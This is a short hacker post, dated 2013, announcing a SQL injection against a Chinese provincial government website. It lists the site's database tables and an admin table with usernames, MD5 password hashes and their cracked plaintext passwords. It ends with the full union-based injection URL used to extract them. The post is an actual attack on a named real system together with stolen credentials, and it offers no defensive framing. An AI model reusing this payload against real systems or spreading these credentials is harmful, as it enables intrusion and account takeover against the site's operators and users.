Gov.cn Sql injection @QuisterTow

================================================
Author : QuisterTow / twitter.com/quistertow
Date : 10 feb 2013
Target : gov.cn
================================================
/*!Some Tables*/
admin
fgn_faq
fgn_member
fgn_user
gov_bg
gov_bssx
gov_dw
gov_sw
gov_title_class
invest_ip_record
invest_options
invest_subject
invest_user
mail_questions
online_option
/*!End*/

/*!Admin columns*/
id
username
password
/*!end*/

/*!admin data*/
id : username : password
1:admin:0192023a7bbd73250516f069df18b500 -cracked=admin123
2:yanghuolong:84991d0804aac04d4164458925c63cf7 -cracked=yanghuolong
3:admin:84991d0804aac04d4164458925c63cf7 -cracked=yanghuolong
/*!end*/

/*!Injection union based*/

http://ac.enghunan.gov.cn/webwork/bszn.php?id=5' and 1=2 UNION SELECT 1,2,group_concat(id,0x3a,username,0x3a,password,0x3a,0x3c2f62723e),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25 from admin-- -

/*!end*/

@Quistertow

         www.twitter.com/quistertow